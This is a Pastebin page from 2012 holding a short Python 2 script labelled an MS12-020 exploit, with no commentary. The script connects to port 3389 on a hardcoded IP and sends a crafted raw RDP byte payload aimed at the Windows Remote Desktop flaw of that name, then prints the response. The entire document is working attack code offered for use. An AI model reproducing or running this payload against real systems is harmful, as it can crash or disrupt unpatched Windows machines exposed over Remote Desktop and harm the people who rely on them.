Advertisement
Guest User

MS12-020 Exploit - Python

a guest
Mar 17th, 2012
922
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.36 KB | None | 0 0
  1. import socket
  2. HOST = '192.168.0.106'    # The remote host
  3. PORT = 3389              
  4. payload = '''\x03\x00\x00\x13\x0e\xe0\x00\x00\x00\x00\x00\x01\x00\x08\x00\x00\
  5. \x00\x00\x00\x03\x00\x01\xd6\x02\xf0\x80\x7fe\x82\x01\x94\x04\x01\x01\x04\x01\
  6. \x01\x01\x01\xff0\x19\x02\x04\x00\x00\x00\x00\x02\x04\x00\x00\x00\x02\x02\x04\
  7. \x00\x00\x00\x00\x02\x04\x00\x00\x00\x01\x02\x04\x00\x00\x00\x00\x02\x04\x00\
  8. \x00\x00\x01\x02\x02\xff\xff\x02\x04\x00\x00\x00\x020\x19\x02\x04\x00\x00\x00\
  9. \x01\x02\x04\x00\x00\x00\x01\x02\x04\x00\x00\x00\x01\x02\x04\x00\x00\x00\x01\
  10. \x02\x04\x00\x00\x00\x00\x02\x04\x00\x00\x00\x01\x02\x02\x04 \x02\x04\x00\x00\
  11. \x00\x020\x1c\x02\x02\xff\xff\x02\x02\xfc\x17\x02\x02\xff\xff\x02\x04\x00\x00\
  12. \x00\x01\x02\x04\x00\x00\x00\x00\x02\x04\x00\x00\x00\x01\x02\x02\xff\xff\x02\
  13. \x04\x00\x00\x00\x02\x04\x82\x013\x00\x05\x00\x14|\x00\x01\x81*\x00\x08\x00\
  14. \x10\x00\x01\xc0\x00Duca\x81\x1c\x01\xc0\xd8\x00\x04\x00\x08\x00\x80\x02\xe0\
  15. \x01\x01\xca\x03\xaa\t\x04\x00\x00\xce\x0e\x00\x00H\x00O\x00S\x00T\x00\x00\x00\
  16. \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\
  17. \x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x0c\x00\x00\x00\x00\x00\x00\x00\
  18. \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\
  19. \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\
  20. \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\
  21. \x00\x00\x00\x01\xca\x01\x00\x00\x00\x00\x00\x10\x00\x07\x00\x01\x000\x000\
  22. \x000\x000\x000\x00-\x000\x000\x000\x00-\x000\x000\x000\x000\x000\x000\x000\
  23. \x00-\x000\x000\x000\x000\x000\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\
  24. \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\xc0\x0c\x00\r\
  25. \x00\x00\x00\x00\x00\x00\x00\x02\xc0\x0c\x00\x1b\x00\x00\x00\x00\x00\x00\x00\
  26. \x03\xc0,\x00\x03\x00\x00\x00rdpdr\x00\x00\x00\x00\x00\x80\x80cliprdr\x00\x00\
  27. \x00\xa0\xc0rdpsnd\x00\x00\x00\x00\x00\xc0\x03\x00\x00\x0c\x02\xf0\x80\x04\x01\
  28. \x00\x01\x00\x03\x00\x00\x08\x02\xf0\x80(\x03\x00\x00\x0c\x02\xf0\x808\x00\
  29. \x06\x03\xef\x03\x00\x00\x0c\x02\xf0\x808\x00\x06\x03\xeb\x03\x00\x00\x0c\
  30. \x02\xf0\x808\x00\x06\x03\xec\x03\x00\x00\x0c\x02\xf0\x808\x00\x06\x03\xed\
  31. \x03\x00\x00\x0c\x02\xf0\x808\x00\x06\x03\xee'''
  32.  
  33. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  34. s.connect((HOST, PORT))
  35. s.sendall(payload)
  36. data = s.recv(4096)
  37. print repr(data)
  38. s.close()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement